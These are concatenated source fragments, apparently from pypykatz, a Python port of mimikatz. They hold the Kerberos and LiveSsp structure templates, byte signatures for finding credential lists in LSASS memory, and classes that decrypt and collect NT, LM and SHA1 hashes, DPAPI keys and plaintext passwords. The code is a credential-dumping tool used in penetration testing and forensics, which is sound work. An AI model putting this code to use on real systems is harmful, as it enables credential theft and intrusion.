792 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
793 | self.Description = LSA_UNICODE_STRING(reader) | |
794 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
795 | #//LSA_UNICODE_STRING KDCServer = //?(reader).value | |
796 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
797 | self.name0 = PVOID(reader).value | |
798 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
799 | self.unk2 = ULONG(reader).value | |
800 | self.KeyType = ULONG(reader).value | |
801 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
802 | self.unk3 = PVOID(reader).value | |
803 | self.unk4 = PVOID(reader).value | |
804 | self.unk5 = PVOID(reader).value | |
805 | self.StartTime = FILETIME(reader).value | |
806 | self.EndTime = FILETIME(reader).value | |
807 | self.RenewUntil = FILETIME(reader).value | |
808 | self.unk6 = ULONG(reader).value | |
809 | self.unk7 = ULONG(reader).value | |
810 | self.domain = PCWSTR(reader).value | |
811 | self.unk8 = ULONG(reader).value | |
812 | self.strangeNames = PVOID(reader).value | |
813 | self.unk9 = ULONG(reader).value | |
814 | self.TicketEncType = ULONG(reader).value | |
815 | self.TicketKvno = ULONG(reader).value | |
816 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
817 | ||
818 | ||
819 | class PKIWI_KERBEROS_INTERNAL_TICKET_6(POINTER): | |
820 | def __init__(self, reader): | |
821 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_6) | |
822 | ||
823 | class KIWI_KERBEROS_INTERNAL_TICKET_6: | |
824 | def __init__(self, reader): | |
825 | #self.This = LIST_ENTRY(reader) | |
826 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader) | |
827 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_6(reader) | |
828 | ||
829 | #reader.read(8) | |
830 | #input('servicename\n' + hexdump(reader.peek(0x100))) | |
831 | self.unk0 = PVOID(reader).value | |
832 | self.unk1 = PVOID(reader).value | |
833 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
834 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
835 | self.DomainName = LSA_UNICODE_STRING(reader) | |
836 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
837 | self.Description = LSA_UNICODE_STRING(reader) | |
838 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
839 | self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value | |
840 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
841 | self.name0 = PVOID(reader).value | |
842 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value | |
843 | self.unk2 = ULONG(reader).value | |
844 | self.KeyType = ULONG(reader).value | |
845 | reader.align() | |
846 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
847 | self.unk3 = PVOID(reader).value | |
848 | self.unk4 = PVOID(reader).value | |
849 | self.unk5 = PVOID(reader).value | |
850 | self.StartTime = FILETIME(reader).value | |
851 | self.EndTime = FILETIME(reader).value | |
852 | self.RenewUntil = FILETIME(reader).value | |
853 | self.unk6 = ULONG(reader).value | |
854 | self.unk7 = ULONG(reader).value | |
855 | self.domain = PCWSTR(reader).value | |
856 | self.unk8 = ULONG(reader).value | |
857 | reader.align() | |
858 | self.strangeNames = PVOID(reader).value | |
859 | self.unk9 = ULONG(reader).value | |
860 | self.TicketEncType = ULONG(reader).value | |
861 | self.TicketKvno = ULONG(reader).value | |
862 | reader.align() | |
863 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
864 | ||
865 | class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER): | |
866 | def __init__(self, reader): | |
867 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10) | |
868 | ||
869 | class KIWI_KERBEROS_INTERNAL_TICKET_10: | |
870 | def __init__(self, reader): | |
871 | #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100))) | |
872 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader) | |
873 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader) | |
874 | self.unk0 = PVOID(reader).value | |
875 | self.unk1 = PVOID(reader).value | |
876 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
877 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
878 | self.DomainName = LSA_UNICODE_STRING(reader) | |
879 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
880 | self.Description = LSA_UNICODE_STRING(reader) | |
881 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
882 | self.KDCServer = LSA_UNICODE_STRING# //?(reader).value | |
883 | self.unk10586_d = LSA_UNICODE_STRING# //?(reader).value | |
884 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
885 | self.name0 = PVOID(reader).value | |
886 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
887 | self.unk2 = ULONG(reader).value | |
888 | self.KeyType = ULONG(reader).value | |
889 | reader.align() | |
890 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
891 | self.unk3 = PVOID(reader).value | |
892 | self.unk4 = PVOID(reader).value | |
893 | self.unk5 = PVOID(reader).value | |
894 | reader.align(8) | |
895 | self.StartTime = FILETIME(reader).value | |
896 | self.EndTime = FILETIME(reader).value | |
897 | self.RenewUntil = FILETIME(reader).value | |
898 | self.unk6 = ULONG(reader).value | |
899 | self.unk7 = ULONG(reader).value | |
900 | self.domain = PCWSTR(reader).value | |
901 | self.unk8 = ULONG(reader).value | |
902 | reader.align() | |
903 | self.strangeNames = PVOID(reader).value | |
904 | self.unk9 = ULONG(reader).value | |
905 | self.TicketEncType = ULONG(reader).value | |
906 | self.TicketKvno = ULONG(reader).value | |
907 | reader.align() | |
908 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
909 | ||
910 | class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER): | |
911 | def __init__(self, reader): | |
912 | super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607) | |
913 | ||
914 | ||
915 | class KIWI_KERBEROS_INTERNAL_TICKET_10_1607: | |
916 | def __init__(self, reader): | |
917 | #input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300))) | |
918 | self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader) | |
919 | self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader) | |
920 | self.unk0 = PVOID(reader).value | |
921 | self.unk1 = PVOID(reader).value | |
922 | self.ServiceName = PKERB_EXTERNAL_NAME(reader) | |
923 | self.TargetName = PKERB_EXTERNAL_NAME(reader) | |
924 | self.DomainName = LSA_UNICODE_STRING(reader) | |
925 | self.TargetDomainName = LSA_UNICODE_STRING(reader) | |
926 | self.Description = LSA_UNICODE_STRING(reader) | |
927 | self.AltTargetDomainName = LSA_UNICODE_STRING(reader) | |
928 | self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value | |
929 | self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value | |
930 | self.ClientName = PKERB_EXTERNAL_NAME(reader) | |
931 | self.name0 = PVOID(reader).value | |
932 | self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False) | |
933 | self.unk2 = ULONG(reader).value | |
934 | self.unk14393_0 = PVOID(reader).value | |
935 | self.KeyType = ULONG(reader).value | |
936 | reader.align() | |
937 | self.Key = KIWI_KERBEROS_BUFFER(reader) | |
938 | self.unk14393_1 = PVOID(reader).value | |
939 | self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value | |
940 | self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value | |
941 | self.unk5 = PVOID(reader).value # // up(reader).value | |
942 | self.StartTime = FILETIME(reader).value | |
943 | self.EndTime = FILETIME(reader).value | |
944 | self.RenewUntil = FILETIME(reader).value | |
945 | self.unk6 = ULONG(reader).value | |
946 | self.unk7 = ULONG(reader).value | |
947 | self.domain = PCWSTR(reader).value | |
948 | self.unk8 = ULONG(reader).value | |
949 | reader.align() | |
950 | self.strangeNames = PVOID(reader).value | |
951 | self.unk9 = ULONG(reader).value | |
952 | self.TicketEncType = ULONG(reader).value | |
953 | self.TicketKvno = ULONG(reader).value | |
954 | reader.align() | |
955 | self.Ticket = KIWI_KERBEROS_BUFFER(reader) | |
956 | ||
957 | class PKERB_HASHPASSWORD_GENERIC(POINTER): | |
958 | def __init__(self, reader): | |
959 | super().__init__(reader, KERB_HASHPASSWORD_GENERIC) | |
960 | ||
961 | class KERB_HASHPASSWORD_GENERIC: | |
962 | def __init__(self, reader): | |
963 | #print('KERB_HASHPASSWORD_GENERIC') | |
964 | #print(hexdump(reader.peek(0x50), start = reader.tell())) | |
965 | self.Type = DWORD(reader).value | |
966 | reader.align() | |
967 | self.Size = SIZE_T(reader).value | |
968 | self.Checksump = PVOID(reader) #this holds the actual credentials dunno why it's named this way... | |
969 | ||
970 | class PKERB_HASHPASSWORD_5(POINTER): | |
971 | def __init__(self, reader): | |
972 | super().__init__(reader, KERB_HASHPASSWORD_5) | |
973 | ||
974 | class KERB_HASHPASSWORD_5: | |
975 | def __init__(self, reader): | |
976 | self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962 | |
977 | self.generic = KERB_HASHPASSWORD_GENERIC(reader) | |
978 | ||
979 | class PKERB_HASHPASSWORD_6(POINTER): | |
980 | def __init__(self, reader): | |
981 | super().__init__(reader, KERB_HASHPASSWORD_6) | |
982 | ||
983 | class KERB_HASHPASSWORD_6 : | |
984 | def __init__(self, reader): | |
985 | #print('KERB_HASHPASSWORD_6') | |
986 | #input(hexdump(reader.peek(0x100), start = reader.tell())) | |
987 | self.salt = LSA_UNICODE_STRING(reader) #// http://tools.ietf.org/html/rfc3962 | |
988 | self.stringToKey = PVOID(reader) # // AES Iterations (dword ?) | |
989 | self.generic = KERB_HASHPASSWORD_GENERIC(reader) | |
990 | ||
991 | ||
992 | class PKERB_HASHPASSWORD_6_1607(POINTER): | |
993 | def __init__(self, reader): | |
994 | super().__init__(reader, KERB_HASHPASSWORD_6_1607) | |
995 | class KERB_HASHPASSWORD_6_1607: | |
996 | def __init__(self, reader): | |
997 | self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962(reader).value | |
998 | self.stringToKey = PVOID(reader).value # // AES Iterations (dword ?)(reader).value | |
999 | self.unk0 = PVOID(reader).value | |
1000 | self.generic = KERB_HASHPASSWORD_GENERIC(reader) | |
1001 | ||
1002 | class PKIWI_KERBEROS_KEYS_LIST_5(POINTER): | |
1003 | def __init__(self, reader): | |
1004 | super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5) | |
1005 | ||
1006 | class KIWI_KERBEROS_KEYS_LIST_5: | |
1007 | def __init__(self, reader): | |
1008 | self.unk0 = DWORD(reader).value #// dword_1233EC8 dd 4 | |
1009 | self.cbItem = DWORD(reader).value #// debug048:01233ECC dd 5(reader).value | |
1010 | self.unk1 = PVOID(reader).value | |
1011 | self.unk2 = PVOID(reader).value | |
1012 | #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value | |
1013 | self.KeyEntries_start = reader.tell() | |
1014 | self.KeyEntries = [] | |
1015 | ||
1016 | def read(self, reader, keyentries_type): | |
1017 | reader.move(self.KeyEntries_start) | |
1018 | for _ in range(self.cbItem): | |
1019 | self.KeyEntries.append(keyentries_type(reader)) | |
1020 | ||
1021 | class PKIWI_KERBEROS_KEYS_LIST_6(POINTER): | |
1022 | def __init__(self, reader): | |
1023 | super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6) | |
1024 | class KIWI_KERBEROS_KEYS_LIST_6: | |
1025 | def __init__(self, reader): | |
1026 | #print('KIWI_KERBEROS_KEYS_LIST_6') | |
1027 | #print(hexdump(reader.peek(0x100), start = reader.tell())) | |
1028 | self.unk0 = DWORD(reader).value # // dword_1233EC8 dd 4(reader).value | |
1029 | self.cbItem = DWORD(reader).value # // debug048:01233ECC dd 5(reader).value | |
1030 | self.unk1 = PVOID(reader).value | |
1031 | self.unk2 = PVOID(reader).value | |
1032 | self.unk3 = PVOID(reader).value | |
1033 | self.unk4 = PVOID(reader).value | |
1034 | self.KeyEntries_start = reader.tell() | |
1035 | self.KeyEntries = [] | |
1036 | ||
1037 | def read(self, reader, keyentries_type): | |
1038 | reader.move(self.KeyEntries_start) | |
1039 | for _ in range(self.cbItem): | |
1040 | self.KeyEntries.append(keyentries_type(reader)) | |
1041 | #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value | |
1042 | ||
1043 | class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER): | |
1044 | def __init__(self, reader): | |
1045 | super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET) | |
1046 | class KIWI_KERBEROS_ENUM_DATA_TICKET: | |
1047 | def __init__(self, reader): | |
1048 | self.isTicketExport = BOOL(reader).value | |
1049 | self.isFullTicket = BOOL(reader).value | |
1050 | ||
1051 | class KIWI_KERBEROS_BUFFER: | |
1052 | def __init__(self, reader): | |
1053 | self.Length = ULONG(reader).value | |
1054 | reader.align() | |
1055 | self.Value = PVOID(reader) | |
1056 | ||
1057 | ##not part of struct | |
1058 | self.Data = None | |
1059 | ||
1060 | def read(self, reader): | |
1061 | self.Data = self.Value.read_raw(reader, self.Length) | |
1062 | return self.Data⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | import json | |
7 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
8 | ||
9 | class LiveSspCredential: | |
10 | def __init__(self): | |
11 | self.credtype = 'livessp' | |
12 | self.username = None | |
13 | self.domainname = None | |
14 | self.password = None | |
15 | self.luid = None | |
16 | ||
17 | def to_dict(self): | |
18 | t = {} | |
19 | t['credtype'] = self.credtype | |
20 | t['username'] = self.username | |
21 | t['domainname'] = self.domainname | |
22 | t['password'] = self.password | |
23 | t['luid'] = self.luid | |
24 | return t | |
25 | def to_json(self): | |
26 | return json.dumps(self.to_dict()) | |
27 | ||
28 | def __str__(self): | |
29 | t = '\t== LiveSsp [%x]==\n' % self.luid | |
30 | t += '\tusername %s\n' % self.username | |
31 | t += '\tdomainname %s\n' % self.domainname | |
32 | t += '\tpassword %s\n' % self.password | |
33 | return t | |
34 | ||
35 | class LiveSspDecryptor(PackageDecryptor): | |
36 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
37 | super().__init__('LiveSsp', lsa_decryptor, sysinfo, reader) | |
38 | self.decryptor_template = decryptor_template | |
39 | self.credentials = [] | |
40 | ||
41 | async def find_first_entry(self): | |
42 | position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature) | |
43 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
44 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
45 | return ptr_entry, ptr_entry_loc | |
46 | ||
47 | async def add_entry(self, ssp_entry): | |
48 | c = LiveSspCredential() | |
49 | c.luid = ssp_entry.LocallyUniqueIdentifier | |
50 | ||
51 | suppCreds = await ssp_entry.suppCreds.read(self.reader) | |
52 | ||
53 | c.username = await suppCreds.credentials.UserName.read_string(self.reader) | |
54 | c.domainname = await suppCreds.credentials.Domaine.read_string(self.reader) | |
55 | if suppCreds.credentials.Password.Length != 0: | |
56 | enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader) | |
57 | if c.username.endswith('$') is True: | |
58 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | if c.password is not None: | |
60 | c.password = c.password.hex() | |
61 | else: | |
62 | c.password = self.decrypt_password(enc_data) | |
63 | ||
64 | self.credentials.append(c) | |
65 | ||
66 | async def start(self): | |
67 | try: | |
68 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
69 | except Exception as e: | |
70 | self.log('Failed to find structs! Reason: %s' % e) | |
71 | return | |
72 | await self.reader.move(entry_ptr_loc) | |
73 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) | |
74 | await self.walk_list(entry_ptr, self.add_entry)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | #from minidump.win_datatypes import * | |
7 | from pypykatz.commons.common import KatzSystemArchitecture | |
8 | from pypykatz.alsadecryptor.win_datatypes import POINTER, ULONG, \ | |
9 | KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, LSA_UNICODE_STRING | |
10 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
11 | ||
12 | class LiveSspTemplate(PackageTemplate): | |
13 | def __init__(self): | |
14 | super().__init__('LiveSsp') | |
15 | self.signature = None | |
16 | self.first_entry_offset = None | |
17 | self.list_entry = None | |
18 | ||
19 | @staticmethod | |
20 | def get_template(sysinfo): | |
21 | template = LiveSspTemplate() | |
22 | template.list_entry = PKIWI_LIVESSP_LIST_ENTRY | |
23 | template.log_template('list_entry', template.list_entry) | |
24 | ||
25 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
26 | template.signature = b'\x74\x25\x8b' | |
27 | template.first_entry_offset = -7 | |
28 | ||
29 | ||
30 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
31 | template.signature = b'\x8b\x16\x39\x51\x24\x75\x08' | |
32 | template.first_entry_offset = -8 | |
33 | ||
34 | else: | |
35 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) | |
36 | ||
37 | ||
38 | return template | |
39 | ||
40 | ||
41 | class PKIWI_LIVESSP_PRIMARY_CREDENTIAL(POINTER): | |
42 | def __init__(self): | |
43 | super().__init__() | |
44 | ||
45 | @staticmethod | |
46 | async def load(reader): | |
47 | p = PKIWI_LIVESSP_PRIMARY_CREDENTIAL() | |
48 | p.location = reader.tell() | |
49 | p.value = await reader.read_uint() | |
50 | p.finaltype = KIWI_LIVESSP_PRIMARY_CREDENTIAL | |
51 | return p | |
52 | ||
53 | class KIWI_LIVESSP_PRIMARY_CREDENTIAL: | |
54 | def __init__(self): | |
55 | self.isSupp = None | |
56 | self.unk0 = None | |
57 | self.credentials = None | |
58 | ||
59 | @staticmethod | |
60 | async def load(reader): | |
61 | res = KIWI_LIVESSP_PRIMARY_CREDENTIAL() | |
62 | res.isSupp = await ULONG.loadvalue(reader) | |
63 | res.unk0 = await ULONG.loadvalue(reader) | |
64 | res.credentials = await KIWI_GENERIC_PRIMARY_CREDENTIAL.load(reader) | |
65 | return res | |
66 | ||
67 | ||
68 | class PKIWI_LIVESSP_LIST_ENTRY(POINTER): | |
69 | def __init__(self): | |
70 | super().__init__() | |
71 | ||
72 | @staticmethod | |
73 | async def load(reader): | |
74 | p = PKIWI_LIVESSP_LIST_ENTRY() | |
75 | p.location = reader.tell() | |
76 | p.value = await reader.read_uint() | |
77 | p.finaltype = KIWI_LIVESSP_LIST_ENTRY | |
78 | return p | |
79 | ||
80 | class KIWI_LIVESSP_LIST_ENTRY: | |
81 | def __init__(self): | |
82 | self.Flink = None | |
83 | self.Blink = None | |
84 | self.unk0 = None | |
85 | self.unk1 = None | |
86 | self.unk2 = None | |
87 | self.unk3 = None | |
88 | self.unk4 = None | |
89 | self.unk5 = None | |
90 | self.unk6 = None | |
91 | self.LocallyUniqueIdentifier = None | |
92 | self.UserName = None | |
93 | self.unk7 = None | |
94 | self.suppCreds = None | |
95 | ||
96 | @staticmethod | |
97 | async def load(reader): | |
98 | res = KIWI_LIVESSP_LIST_ENTRY() | |
99 | res.Flink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader) | |
100 | res.Blink = await PKIWI_LIVESSP_LIST_ENTRY.load(reader) | |
101 | res.unk0 = await PVOID.load(reader) | |
102 | res.unk1 = await PVOID.load(reader) | |
103 | res.unk2 = await PVOID.load(reader) | |
104 | res.unk3 = await PVOID.load(reader) | |
105 | res.unk4 = await DWORD.loadvalue(reader) | |
106 | res.unk5 = await DWORD.loadvalue(reader) | |
107 | res.unk6 = await PVOID.load(reader) | |
108 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
109 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
110 | res.unk7 = await PVOID.load(reader) | |
111 | res.suppCreds = await PKIWI_LIVESSP_PRIMARY_CREDENTIAL.load(reader) | |
112 | return res⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | import io | |
6 | import json | |
7 | import base64 | |
8 | from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, AGenericReader, UniversalEncoder, hexdump | |
9 | from pypykatz.commons.filetime import filetime_to_dt | |
10 | from pypykatz.alsadecryptor.packages.msv.templates import MSV1_0_PRIMARY_CREDENTIAL_STRANGE_DEC | |
11 | from pypykatz.alsadecryptor.packages.credman.templates import KIWI_CREDMAN_LIST_STARTER, KIWI_CREDMAN_SET_LIST_ENTRY | |
12 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
13 | ||
14 | class MsvCredential: | |
15 | def __init__(self): | |
16 | self.username = None | |
17 | self.domainname = None | |
18 | self.NThash = None | |
19 | self.LMHash = None | |
20 | self.SHAHash = None | |
21 | self.DPAPI = None | |
22 | self.isoProt = None | |
23 | ||
24 | ||
25 | def to_dict(self): | |
26 | t = {} | |
27 | t['username'] = self.username | |
28 | t['domainname'] = self.domainname | |
29 | t['NThash'] = self.NThash | |
30 | t['LMHash'] = self.LMHash | |
31 | t['SHAHash'] = self.SHAHash | |
32 | t['DPAPI'] = self.DPAPI | |
33 | return t | |
34 | ||
35 | def to_json(self): | |
36 | return json.dumps(self.to_dict(), cls=UniversalEncoder) | |
37 | ||
38 | def __str__(self): | |
39 | t = '\t== MSV ==\n' | |
40 | t += '\t\tUsername: %s\n' % (self.username if self.username else 'NA') | |
41 | t += '\t\tDomain: %s\n' % (self.domainname if self.domainname else 'NA') | |
42 | t += '\t\tLM: %s\n' % (self.LMHash.hex() if self.LMHash else 'NA') | |
43 | t += '\t\tNT: %s\n' % (self.NThash.hex() if self.NThash else 'NA') | |
44 | t += '\t\tSHA1: %s\n' % (self.SHAHash.hex() if self.SHAHash else 'NA') | |
45 | t += '\t\tDPAPI: %s\n' % (self.DPAPI.hex() if self.DPAPI else 'NA') | |
46 | return t | |
47 | ||
48 | class CredmanCredential: | |
49 | def __init__(self): | |
50 | self.credtype = 'credman' | |
51 | self.luid = None | |
52 | self.username = None | |
53 | self.password = None | |
54 | self.domainname = None | |
55 | ||
56 | def to_dict(self): | |
57 | t = {} | |
58 | t['credtype'] = self.credtype | |
59 | t['username'] = self.username | |
60 | t['domainname'] = self.domainname | |
61 | t['password'] = self.password | |
62 | t['luid'] = self.luid | |
63 | return t | |
64 | ||
65 | def to_json(self): | |
66 | return json.dumps(self.to_dict()) | |
67 | ||
68 | def __str__(self): | |
69 | t = '\t== CREDMAN [%x]==\n' % self.luid | |
70 | t += '\t\tluid %s\n' % self.luid | |
71 | t += '\t\tusername %s\n' % self.username | |
72 | t += '\t\tdomain %s\n' % self.domainname | |
73 | t += '\t\tpassword %s\n' % self.password | |
74 | return t | |
75 | ||
76 | ||
77 | class LogonSession: | |
78 | grep_header = ['packagename', 'domain', 'user', 'NT', 'LM', 'SHA1', 'masterkey', 'sha1_masterkey', 'key_guid','plaintext'] | |
79 | ||
80 | def __init__(self): | |
81 | self.authentication_id = None | |
82 | self.session_id = None | |
83 | self.username = None | |
84 | self.domainname = None | |
85 | self.logon_server = None | |
86 | self.logon_time = None | |
87 | self.sid = None | |
88 | self.luid = None | |
89 | ||
90 | self.msv_creds = [] | |
91 | self.wdigest_creds = [] | |
92 | self.ssp_creds = [] | |
93 | self.livessp_creds = [] | |
94 | self.dpapi_creds = [] | |
95 | self.kerberos_creds = [] | |
96 | self.credman_creds = [] | |
97 | self.tspkg_creds = [] | |
98 | self.cloudap_creds = [] | |
99 | ||
100 | @staticmethod | |
101 | async def parse(entry, reader): | |
102 | """ | |
103 | Converts KIWI_MSV1_0_LIST type objects into a unified class | |
104 | """ | |
105 | lsc = LogonSession() | |
106 | lsc.authentication_id = entry.LocallyUniqueIdentifier | |
107 | lsc.session_id = entry.Session | |
108 | lsc.username = await entry.UserName.read_string(reader) | |
109 | lsc.domainname = await entry.Domaine.read_string(reader) | |
110 | lsc.logon_server = await entry.LogonServer.read_string(reader) | |
111 | if entry.LogonTime != 0: | |
112 | lsc.logon_time = filetime_to_dt(entry.LogonTime).isoformat() | |
113 | ts = await entry.pSid.read(reader) | |
114 | lsc.sid = str(ts) | |
115 | lsc.luid = entry.LocallyUniqueIdentifier | |
116 | return lsc | |
117 | ||
118 | def to_dict(self): | |
119 | t = {} | |
120 | t['authentication_id'] = self.authentication_id | |
121 | t['session_id'] = self.session_id | |
122 | t['username'] = self.username | |
123 | t['domainname'] = self.domainname | |
124 | t['logon_server'] = self.logon_server | |
125 | t['logon_time'] = self.logon_time | |
126 | t['sid'] = self.sid | |
127 | t['luid'] = self.luid | |
128 | t['msv_creds'] = [] | |
129 | t['wdigest_creds'] = [] | |
130 | t['ssp_creds'] = [] | |
131 | t['livessp_creds'] = [] | |
132 | t['dpapi_creds'] = [] | |
133 | t['kerberos_creds'] = [] | |
134 | t['credman_creds'] = [] | |
135 | t['tspkg_creds'] = [] | |
136 | for cred in self.msv_creds: | |
137 | t['msv_creds'].append(cred.to_dict()) | |
138 | for cred in self.wdigest_creds: | |
139 | t['wdigest_creds'].append(cred.to_dict()) | |
140 | for cred in self.ssp_creds: | |
141 | t['ssp_creds'].append(cred.to_dict()) | |
142 | for cred in self.livessp_creds: | |
143 | t['livessp_creds'].append(cred.to_dict()) | |
144 | for cred in self.dpapi_creds: | |
145 | t['dpapi_creds'].append(cred.to_dict()) | |
146 | for cred in self.kerberos_creds: | |
147 | t['kerberos_creds'].append(cred.to_dict()) | |
148 | for cred in self.credman_creds: | |
149 | t['credman_creds'].append(cred.to_dict()) | |
150 | for cred in self.tspkg_creds: | |
151 | t['tspkg_creds'].append(cred.to_dict()) | |
152 | return t | |
153 | ||
154 | def to_json(self): | |
155 | return json.dumps(self.to_dict(), cls=UniversalEncoder) | |
156 | ||
157 | def __str__(self): | |
158 | t = '== LogonSession ==\n' | |
159 | t += 'authentication_id %s (%x)\n' % (self.authentication_id, self.authentication_id) | |
160 | t += 'session_id %s\n' % self.session_id | |
161 | t += 'username %s\n' % self.username | |
162 | t += 'domainname %s\n' % self.domainname | |
163 | t += 'logon_server %s\n' % self.logon_server | |
164 | t += 'logon_time %s\n' % self.logon_time | |
165 | t += 'sid %s\n' % self.sid | |
166 | t += 'luid %s\n' % self.luid | |
167 | if len(self.msv_creds) > 0: | |
168 | for cred in self.msv_creds: | |
169 | t+= '%s' % str(cred) | |
170 | if len(self.wdigest_creds) > 0: | |
171 | for cred in self.wdigest_creds: | |
172 | t+= str(cred) | |
173 | if len(self.ssp_creds) > 0: | |
174 | for cred in self.ssp_creds: | |
175 | t+= str(cred) | |
176 | if len(self.livessp_creds) > 0: | |
177 | for cred in self.livessp_creds: | |
178 | t+= str(cred) | |
179 | if len(self.kerberos_creds) > 0: | |
180 | for cred in self.kerberos_creds: | |
181 | t+= str(cred) | |
182 | if len(self.wdigest_creds) > 0: | |
183 | for cred in self.wdigest_creds: | |
184 | t+= str(cred) | |
185 | if len(self.credman_creds) > 0: | |
186 | for cred in self.credman_creds: | |
187 | t+= str(cred) | |
188 | if len(self.tspkg_creds) > 0: | |
189 | for cred in self.tspkg_creds: | |
190 | t+= str(cred) | |
191 | if len(self.dpapi_creds) > 0: | |
192 | for cred in self.dpapi_creds: | |
193 | t+= str(cred) | |
194 | return t | |
195 | ||
196 | def to_row(self): | |
197 | for cred in self.msv_creds: | |
198 | t = cred.to_dict() | |
199 | yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'NT', t['NThash'].hex() if t['NThash'] else ''] | |
200 | yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'LM', t['LMHash'].hex() if t['LMHash'] else ''] | |
201 | yield [self.luid, 'msv', self.session_id, self.sid, 'msv', '', self.domainname, self.username, 'sha1', t['SHAHash'].hex() if t['SHAHash'] else ''] | |
202 | for cred in self.wdigest_creds: | |
203 | t = cred.to_dict() | |
204 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] | |
205 | for cred in self.ssp_creds: | |
206 | t = cred.to_dict() | |
207 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] | |
208 | for cred in self.livessp_creds: | |
209 | t = cred.to_dict() | |
210 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] | |
211 | for cred in self.dpapi_creds: | |
212 | t = cred.to_dict() | |
213 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'masterkey', t['masterkey']] | |
214 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'sha1', t['sha1_masterkey']] | |
215 | for cred in self.kerberos_creds: | |
216 | t = cred.to_dict() | |
217 | yield [self.luid, t['credtype'], self.session_id, self.sid, t['credtype'], '', self.domainname, self.username, 'plaintext', t['password']] | |
218 | for cred in self.credman_creds: | |
